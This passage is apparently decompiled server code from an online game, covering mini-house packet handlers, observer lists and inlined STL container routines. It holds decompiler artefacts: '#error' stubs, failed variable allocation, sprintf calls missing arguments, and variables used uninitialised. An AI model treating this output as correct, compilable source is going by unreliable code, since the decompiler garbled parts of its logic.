edi@1 int v6; // eax@1 unsigned __int16 v7; // ax@7 int v8; // eax@11 char v9; // al@14 int v10; // eax@15 char v11; // al@16 int v12; // eax@17 FunctionEntarance _; // [sp+10h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@18 int v15; // [sp+28h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -29594; *((_WORD *)v5 + 1) = 5912; v6 = *(_DWORD *)((char *)v4 + 98); v15 = 0; if ( !v6 ) { *((_WORD *)v5 + 1) = 5914; LABEL_3: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ"); return; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 304))(v4) ) { *((_WORD *)v5 + 1) = 5915; goto LABEL_3; } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 312))(v4); if ( !ShineObjectManager::som_GetObject(&shineobjmanager, v7) ) { *((_WORD *)v5 + 1) = 5915; goto LABEL_3; } if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 704))(v4) == -1 ) { *((_WORD *)v5 + 1) = 5916; goto LABEL_3; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 688))(v4) ) { *((_WORD *)v5 + 1) = 5912; v11 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v11, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ : Packet Too Long", 4) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } *(_WORD *)v5 = -29593; *((_WORD *)v5 + 1) = 1; *((_WORD *)v5 + 2) = *((_WORD *)v4 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); LOBYTE(v15) = 1; ShineObjectClass::ShineObject::so_AllInMap(v4, (int)&alchat, 1); LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { *((_WORD *)v5 + 1) = 5913; v9 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v9, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ : Packet Too Long", 4) ) { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } } v15 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00512960) -------------------------------------------------------- char *__thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseGetMHInfo(void *this) { unsigned __int16 v1; // ax@1 char *result; // eax@2 int v3; // eax@3 char *v4; // esi@3 DebugLogging *v5; // edi@3 _iobuf *v6; // eax@5 DebugLogging *v7; // eax@7 DebugLogging *v8; // eax@7 int v9; // eax@9 unsigned int v10; // ecx@9 char *v11; // ecx@9 char *v12; // ST0C_4@9 DebugLogging *v13; // eax@9 DebugLogging *v14; // eax@9 v1 = *((_WORD *)this + 11666); if ( v1 < 0x80u && (result = (char *)&queue_MH_InnerInfo + 136 * v1) != 0 ) { if ( *((_WORD *)this + 2) != *(_WORD *)result ) { v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)this + 1352))(this); v10 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v10; v11 = (char *)&namestring + 256 * v10; *(_DWORD *)v11 = *(_DWORD *)v9; *((_DWORD *)v11 + 1) = *(_DWORD *)(v9 + 4); *((_DWORD *)v11 + 2) = *(_DWORD *)(v9 + 8); v12 = v11; *((_DWORD *)v11 + 3) = *(_DWORD *)(v9 + 12); v11[16] = 0; v13 = DebugLogging::operator<<(&InnerMiniHouseLog, "MH_InnerInfo Null "); v14 = DebugLogging::operator<<(v13, v12); DebugLogging::operator<<(v14, &deb_LF); result = 0; } } else { v3 = (*(int (**)(void))(*(_DWORD *)this + 1352))(); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v4 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v4 = *(_DWORD *)v3; *((_DWORD *)v4 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v4 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v4 + 3) = *(_DWORD *)(v3 + 12); v4[16] = 0; v5 = DebugLogging::operator<<(&InnerMiniHouseLog, "sp_MH_InnerInfo.MHFlag Null return "); if ( DebugLogging::dl_ActivAll && v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } v7 = DebugLogging::operator<<(v5, (char *)&stru_5A4E3C); v8 = DebugLogging::operator<<(v7, v4); DebugLogging::operator<<(v8, &deb_LF); result = 0; } return result; } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00512AB0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::registerObsersver(int observer) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::registerObsersver"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::registerObsersver"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::registerObsersver"); } //----- (00512B00) -------------------------------------------------------- int __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_IsEmpty(NormalAttackDamageDelay::NormalAttackDamageTick *this) { return this->nadt_DamageTime._Mysize == 0; } //----- (00512B10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1136))(v1) ) { case 0u: case 1u: case 2u: case 3u: (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1444))(v1); break; case 6u: ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding(v1); break; case 4u: case 5u: ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup(v1); break; default: break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting"); } //----- (00512BF0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::find>::iterator_Observer>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, Observer *_Val) { std::vector >::iterator v4; // esi@1 std::vector >::iterator *v5; // eax@4 v4 = _First; if ( _First == _Last ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; } else { do { if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)&v4 + 12))(v4, _Val) ) break; *(_DWORD *)&v4 += 16; } while ( v4 != _Last ); v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v5; } //----- (00512C30) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_Observer>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, Observer *_Val) { std::vector >::iterator v5; // esi@1 std::vector >::iterator v6; // edi@2 std::vector >::iterator v7; // eax@4 std::vector >::iterator *v8; // eax@6 v5 = _First; if ( _First == _Last ) { v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Dest; } else { v6 = _Dest; do { if ( !(unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)&v5 + 12))(v5, _Val) ) { v7 = v6; *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v5 + 4); *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v5 + 8); *(_DWORD *)&v6 += 16; *(_DWORD *)(*(_DWORD *)&v7 + 12) = *(_DWORD *)(*(_DWORD *)&v5 + 12); } *(_DWORD *)&v5 += 16; } while ( v5 != _Last ); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } return v8; } //----- (00512C90) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_copy_if>::iterator_std::vector>::iterator_has_same_master>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, has_same_master _Pred) { std::vector >::iterator v5; // ecx@1 std::vector >::iterator v6; // esi@2 int v7; // edx@3 std::vector >::iterator v8; // eax@4 std::vector >::iterator *v9; // eax@6 v5 = _First; if ( _First == _Last ) { v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Dest; } else { v6 = _Dest; do { v7 = *(_DWORD *)(*(_DWORD *)&v5 + 4); if ( _Pred != v7 ) { v8 = v6; *(_DWORD *)(*(_DWORD *)&v6 + 4) = v7; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v5 + 8); *(_DWORD *)&v6 += 16; *(_DWORD *)(*(_DWORD *)&v8 + 12) = *(_DWORD *)(*(_DWORD *)&v5 + 12); } *(_DWORD *)&v5 += 16; } while ( v5 != _Last ); v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } return v9; } //----- (00512CE0) -------------------------------------------------------- int std::_Copy_backward_opt>::iterator_std::deque>::iterator>(...) { unsigned int v5; // esi@1 unsigned int v6; // edi@1 unsigned int v7; // eax@3 int v8; // ecx@3 unsigned int v9; // edx@5 int v10; // eax@5 int v11; // ecx@7 int v12; // edx@7 std::deque >::iterator *v13; // eax@8 v5 = _Last.baseclass_0._Myoff; v6 = _Dest.baseclass_0._Myoff; while ( _First != __PAIR__(v5, *(_DWORD *)&_Last) ) { v7 = *(_DWORD *)(*(_DWORD *)&_Last + 8); --v5; v8 = v5; if ( v7 <= v5 ) v8 = v5 - v7; v9 = *(_DWORD *)(*(_DWORD *)&_Dest + 8); --v6; v10 = v6; if ( v9 <= v6 ) v10 = v6 - v9; v11 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&_Last + 4) + 4 * v8); v12 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&_Dest + 4) + 4 * v10); *(_DWORD *)v12 = *(_DWORD *)v11; *(_DWORD *)(v12 + 4) = *(_DWORD *)(v11 + 4); *(_DWORD *)(v12 + 8) = *(_DWORD *)(v11 + 8); } v13 = result; result->baseclass_0._Myoff = v6; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&_Dest; return v13; } //----- (00512D50) -------------------------------------------------------- int std::_Copy_opt>::iterator_std::deque>::iterator>(...) { unsigned int v5; // edx@1 unsigned int v6; // esi@1 unsigned int v7; // eax@3 int v8; // ecx@3 unsigned int v9; // edi@5 int v10; // eax@5 int v11; // ecx@7 int v12; // eax@7 std::deque >::iterator *v13; // eax@8 v5 = _First.baseclass_0._Myoff; v6 = _Dest.baseclass_0._Myoff; while ( __PAIR__(v5, *(_DWORD *)&_First) != _Last ) { v7 = *(_DWORD *)(*(_DWORD *)&_First + 8); v8 = v5; if ( v7 <= v5 ) v8 = v5 - v7; v9 = *(_DWORD *)(*(_DWORD *)&_Dest + 8); v10 = v6; if ( v9 <= v6 ) v10 = v6 - v9; v11 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&_First + 4) + 4 * v8); v12 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&_Dest + 4) + 4 * v10); *(_DWORD *)v12 = *(_DWORD *)v11; *(_DWORD *)(v12 + 4) = *(_DWORD *)(v11 + 4); ++v6; *(_DWORD *)(v12 + 8) = *(_DWORD *)(v11 + 8); ++v5; } v13 = result; result->baseclass_0._Myoff = v6; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&_Dest; return v13; } //----- (00512DC0) -------------------------------------------------------- #error "512DC0: undefined or illegal type '#325' (funcsize=188)" //----- (00513010) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_if>::iterator_has_same_master>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, has_same_master _Pred) { std::vector >::iterator v4; // ecx@1 std::vector >::iterator *v5; // eax@4 v4 = _First; if ( _First == _Last ) goto LABEL_10; while ( _Pred != *(_DWORD *)(*(_DWORD *)&v4 + 4) ) { *(_DWORD *)&v4 += 16; if ( v4 == _Last ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; return v5; } } if ( v4 != _Last ) { std::remove_copy_if>::iterator_std::vector>::iterator_has_same_master>( result, (std::vector >::iterator)(*(_DWORD *)&v4 + 16), _Last, v4, _Pred); v5 = result; } else { LABEL_10: v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v5; } //----- (00513060) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 SkillDataBox::SkillDataIndex *v5; // eax@8 int v6; // ST08_4@12 int v7; // eax@12 signed int v8; // edi@14 char v9; // dl@21 char *v10; // eax@21 char v11; // al@21 int v12; // eax@22 signed int v13; // [sp+28h] [bp-F4h]@7 FunctionEntarance _; // [sp+3Ch] [bp-E0h]@1 MemoryMiniHouseEntrance tmp; // [sp+40h] [bp-DCh]@21 Name8 area; // [sp+C8h] [bp-54h]@15 char areabuf[33]; // [sp+E8h] [bp-34h]@15 unsigned int cookie; // [sp+10Ch] [bp-10h]@27 int v19; // [sp+118h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; if ( !(_S9_36 & 1) ) { _S9_36 |= 1u; cmc_86.cmc_AllowMode = 6; atexit(_E10_24); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_86.cmc_AllowMode) || *((_BYTE *)v4 + 7368) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2796))(v4) ) { v13 = 4482; goto LABEL_26; } if ( !*(_DWORD *)((char *)v4 + 98) ) { v13 = 4499; LABEL_26: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, v13); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ"); goto LABEL_27; } v5 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "MiniRoomSkill"); if ( v5 ) { if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3411, v5->sdi_Activ->ID) ) { v6 = *(_DWORD *)((char *)v4 + 78); v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); if ( ShineObjectClass::ShineObject::so_AllOfRange( v4, v7, v6, 400, 0, (int)ShineObjectClass::ShineObject::so_TentPoint, 0, 0, 0, 0, 65535) ) { v8 = 1; do { sprintf(areabuf, "MH_Zone%d%c"); Name8::Name8(&area, areabuf); if ( FieldMap::fm_AreaEntry( *(_DWORD *)((char *)v4 + 98), &area, **(_DWORD **)((char *)v4 + 78), *(_DWORD *)(*(_DWORD *)((char *)v4 + 78) + 4)) ) break; ++v8; } while ( v8 < 10 ); if ( v8 == 10 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4501); } else { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 304))(v4) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4485); } else { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2528))(v4); tmp.MaxPlayer = *(_BYTE *)(netcmd + 2); strncpy(tmp.Password, (const char *)(netcmd + 3), 8u); tmp.Password[8] = 0; strncpy(tmp.Title, (const char *)(netcmd + 12), 0x14u); v9 = *(_BYTE *)(netcmd + 33); tmp.Title[20] = 0; tmp.bItemInfoClose = v9; strncpy(tmp.sNotify, (const char *)(netcmd + 34), 0x64u); v10 = gpp.pp_Buffer; tmp.sNotify[100] = 0; *(_WORD *)gpp.pp_Buffer = 8263; *((_WORD *)v10 + 1) = 5000; v11 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v11, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ : Packet Too Long", 4) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } *((_BYTE *)v4 + 23336) = 1; ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)((char *)v4 + 92164), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#434 *))&ShineObjectClass::ShinePlayer::sp_Schedule_BuildMiniHouse, 0, TSCW_MISC, 5000); *((_WORD *)v4 + 11666) = MemoryQueue::mq_Store( &queue_MH_InnerInfo, *((_WORD *)v4 + 2), &tmp); } } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4505); } v19 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4506); v19 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4506); v19 = -1; FunctionEntarance::_FunctionEntarance(&_); } LABEL_27: __security_check_cookie(cookie); } //----- (00513410) -------------------------------------------------------- #error "513410: undefined or illegal type '#325' (funcsize=39)" //----- (00513490) -------------------------------------------------------- void __thiscall std::deque>::pop_front(std::deque > *this) { unsigned int v1; // eax@1 unsigned int v2; // edi@2 unsigned int v3; // edx@2 unsigned int v4; // eax@4 v1 = this->_Mysize; if ( v1 ) { v2 = this->_Mapsize; v3 = this->_Myoff + 1; this->_Myoff = v3; if ( v2 <= v3 ) this->_Myoff = 0; v4 = v1 - 1; this->_Mysize = v4; if ( !v4 ) this->_Myoff = 0; } } //----- (005134C0) -------------------------------------------------------- void __thiscall std::deque>::_Tidy(std::deque > *this) { std::deque > *v1; // esi@1 unsigned int v2; // eax@2 unsigned int v3; // eax@3 unsigned int v4; // edi@6 void *v5; // eax@7 v1 = this; while ( this->_Mysize ) { v2 = this->_Mysize; if ( v2 ) { v3 = v2 - 1; this->_Mysize = v3; if ( !v3 ) this->_Myoff = 0; } } v4 = this->_Mapsize; while ( v4 > 0 ) { v5 = v1->_Map[v4-- - 1]; if ( v5 ) operator delete(v5); } if ( v1->_Map ) operator delete(v1->_Map); v1->_Mapsize = 0; v1->_Map = 0; } //----- (00513530) -------------------------------------------------------- // local variable allocation has failed! std::deque >::iterator *__thiscall std::deque>::erase(std::deque > *this, std::deque >::iterator *result, std::deque >::iterator _First, std::deque >::iterator _Last) { std::deque > *v4; // esi@1 unsigned int v5; // ebx@1 unsigned int v6; // edi@1 unsigned int v7; // ebp@1 unsigned int v8; // ecx@3 unsigned int v9; // ebx@5 int v10; // eax@5 unsigned int v11; // eax@12 unsigned int v12; // ecx@18 std::deque >::iterator *v13; // eax@18 unsigned int _Off; // [sp+10h] [bp-10h]@1 v4 = this; v5 = this->_Myoff; _Off = _First.baseclass_0._Myoff - v5; v6 = _Last.baseclass_0._Myoff - _First.baseclass_0._Myoff; v7 = this->_Mysize + v5; if ( _First.baseclass_0._Myoff - v5 >= v7 - _Last.baseclass_0._Myoff ) { std::_Copy_opt>::iterator_std::deque>::iterator>( &_First, _Last, (std::deque >::iterator)__PAIR__(v7, (unsigned int)this), _First, (std::_Nonscalar_ptr_iterator_tag)result); if ( v6 ) { v11 = v4->_Mysize; do { if ( v11 ) { --v11; if ( !v11 ) v4->_Myoff = 0; } --v6; } while ( v6 ); v4->_Mysize = v11; } } else { std::_Copy_backward_opt>::iterator_std::deque>::iterator>( &_First, *(std::deque >::iterator *)&this, _First, _Last, (std::_Nonscalar_ptr_iterator_tag)result); if ( v6 ) { v8 = v4->_Mysize; do { if ( v8 ) { v9 = v4->_Mapsize; v10 = v4->_Myoff + 1; v4->_Myoff = v10; if ( v9 <= v10 ) v4->_Myoff = 0; --v8; if ( !v8 ) v4->_Myoff = 0; } --v6; } while ( v6 ); v4->_Mysize = v8; } } v12 = v4->_Myoff; v13 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; result->baseclass_0._Myoff = _Off + v12; return v13; } // 513530: variables would overlap: ecx/4 and qcx/8 //----- (00513620) -------------------------------------------------------- #error "513620: undefined or illegal type '#434' (funcsize=121)" //----- (005137C0) -------------------------------------------------------- #error "5137C0: undefined or illegal type '#325' (funcsize=34)" //----- (00513830) -------------------------------------------------------- std::vector >::iterator *__thiscall ShineObjectClass::ShinePlayer::unregisterObsersver(std::vector >::iterator this, Observer *observer) { Observer *v2; // ebx@1 std::vector >::iterator v3; // edi@1 std::vector >::iterator v4; // esi@1 std::vector >::iterator v5; // eax@1 std::vector >::iterator result; // [sp+0h] [bp-4h]@1 result = this; v2 = observer; v3 = this; v4 = *(std::vector >::iterator *)(*(_DWORD *)&this + 92584); v5 = *(std::vector >::iterator *)&std::find>::iterator_Observer>( &result, *(std::vector >::iterator *)(*(_DWORD *)&this + 92580), *(std::vector >::iterator *)(*(_DWORD *)&this + 92584), observer)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( v5 != v4 ) { std::remove_copy>::iterator_std::vector>::iterator_Observer>( (std::vector >::iterator *)&observer, (std::vector >::iterator)(*(_DWORD *)&v5 + 16), v4, v5, v2); v5 = (std::vector >::iterator)observer; } return std::vector>::erase( (std::vector > *)(*(_DWORD *)&v3 + 92576), (std::vector >::iterator *)&observer, v5, v4); } //----- (00513890) -------------------------------------------------------- std::vector >::iterator *__thiscall ShineObjectClass::ShinePlayer::unregisterObsersvers(int this, has_same_master result) { int v2; // esi@1 std::vector >::iterator v3; // edi@1 std::vector >::iterator *v4; // eax@1 int v6; // [sp+0h] [bp-4h]@1 v6 = this; v2 = this; v3 = *(std::vector >::iterator *)(this + 92584); v4 = std::remove_if>::iterator_has_same_master>( (std::vector >::iterator *)&result, *(std::vector >::iterator *)(this + 92580), *(std::vector >::iterator *)(this + 92584), result); return std::vector>::erase( (std::vector > *)(v2 + 92576), (std::vector >::iterator *)&v6, *v4, v3); } //----- (005138D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::notifyObservers(int this, int happen, int DwParam, int SDwParam) { int v4; // ebp@1 int v5; // ebx@1 int v6; // edx@3 int v7; // ecx@3 int v8; // eax@4 int v9; // edi@6 int i; // esi@6 v4 = this; v5 = *(_DWORD *)(this + 92580); if ( v5 != *(_DWORD *)(this + 92584) ) { do { if ( (*(int (__thiscall **)(int, _DWORD, int, int, int, int, _DWORD))(*(_DWORD *)v5 + 4))( v5, 0, v4, happen, DwParam, SDwParam, 0) & 2 ) { v6 = *(_DWORD *)(v4 + 92584); v7 = v5 + 16; if ( v5 + 16 != v6 ) { v8 = v5 + 8; do { *(_DWORD *)(v8 - 4) = *(_DWORD *)(v8 + 12); *(_DWORD *)v8 = *(_DWORD *)(v8 + 16); *(_DWORD *)(v8 + 4) = *(_DWORD *)(v8 + 20); v7 += 16; v8 += 16; } while ( v7 != v6 ); } v9 = *(_DWORD *)(v4 + 92584); for ( i = v9 - 16; i != v9; i += 16 ) (**(void (__thiscall ***)(_DWORD, _DWORD))i)(i, 0); *(_DWORD *)(v4 + 92584) -= 16; } else { v5 += 16; } } while ( v5 != *(_DWORD *)(v4 + 92584) ); } } //----- (00513980) -------------------------------------------------------- void __thiscall std::deque>::_Xlen(std::deque > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "deque too long", 0x11u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (005139F0) -------------------------------------------------------- void __thiscall std::deque>::_Growmap(std::deque > *this, unsigned int _Count) { std::deque > *v2; // ebx@1 unsigned int v3; // eax@1 unsigned int v4; // ebp@1 unsigned int v5; // ecx@3 unsigned int v6; // edi@8 void *v7; // eax@8 NormalAttackDamageDelay::NormalAttackDamageElement **v8; // ecx@8 signed int v9; // esi@8 unsigned int v10; // ST2C_4@8 char *v11; // ecx@8 int v12; // eax@8 char *v13; // eax@8 int v14; // eax@9 unsigned int v15; // ecx@12 void *v16; // edi@12 NormalAttackDamageDelay::NormalAttackDamageElement **v17; // eax@13 unsigned int v18; // esi@13 int v19; // eax@13 unsigned int v20; // eax@18 unsigned int v21; // [sp+Ch] [bp-8h]@9 unsigned int _Myboff; // [sp+10h] [bp-4h]@8 char *_Counta; // [sp+18h] [bp+4h]@8 v2 = this; v3 = this->_Mapsize; v4 = _Count; if ( 357913941 - v3 < _Count ) std::deque>::_Xlen(this); v5 = v3 >> 1; if ( v3 >> 1 < 8 ) v5 = 8; if ( _Count < v5 && v3 <= 357913941 - v5 ) v4 = v5; v6 = v2->_Myoff; _Myboff = v2->_Myoff; v7 = operator new(4 * (v4 + v3)); v8 = v2->_Map; v9 = 4 * v6; _Counta = (char *)v7; v10 = 4 * ((signed int)((char *)v8 + 4 * v2->_Mapsize - (_DWORD)&v8[v6]) >> 2); memmove((char *)v7 + 4 * v6, (char *)&v8[v6], v10); v11 = (char *)v2->_Map; v13 = (char *)(v10 + v12); if ( v6 > v4 ) { memmove(v13, v11, 4 * ((signed int)(4 * v4) >> 2)); v17 = v2->_Map; v18 = 4 * ((signed int)((char *)v17 + v9 - (_DWORD)&v17[v4]) >> 2); memmove(_Counta, (char *)&v17[v4], v18); v16 = (void *)(v18 + v19); if ( !v4 ) goto LABEL_16; v15 = v4; goto LABEL_15; } v21 = 4 * (v9 >> 2); memmove(v13, v11, v21); if ( v4 != v6 ) { memset((void *)(v21 + v14), 0, 4 * (v4 - v6)); v6 = _Myboff; } if ( v6 ) { v15 = v6; v16 = _Counta; LABEL_15: memset(v16, 0, 4 * v15); } LABEL_16: if ( v2->_Map ) operator delete(v2->_Map); v20 = v2->_Mapsize; v2->_Map = (NormalAttackDamageDelay::NormalAttackDamageElement **)_Counta; v2->_Mapsize = v4 + v20; } 